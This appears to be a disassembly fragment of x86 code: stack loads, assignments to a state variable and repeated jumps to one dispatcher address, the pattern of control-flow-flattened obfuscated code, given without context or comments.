mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x1f4], 0x87632351
jmp 0x412c7d
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1f4], 0x4420a07f
jmp 0x412c7d
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x1f4], 0x9ba193f2
jmp 0x412c7d
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1f4], 0x245ff7c1
jmp 0x412c7d
mov eax, dword [ebp - 0x1a8]
mov dword [eax], 0
mov dword [ebp - 0x1f4], 0x1255d050
jmp 0x412c7d
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1f4], 0x3083a857
jmp 0x412c7d
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1f4], 0x6a3c4ca8
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x8f5d8bbc
jmp 0x412c7d
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1f4], 0x97b99e57
jmp 0x412c7d
jmp 0x40e319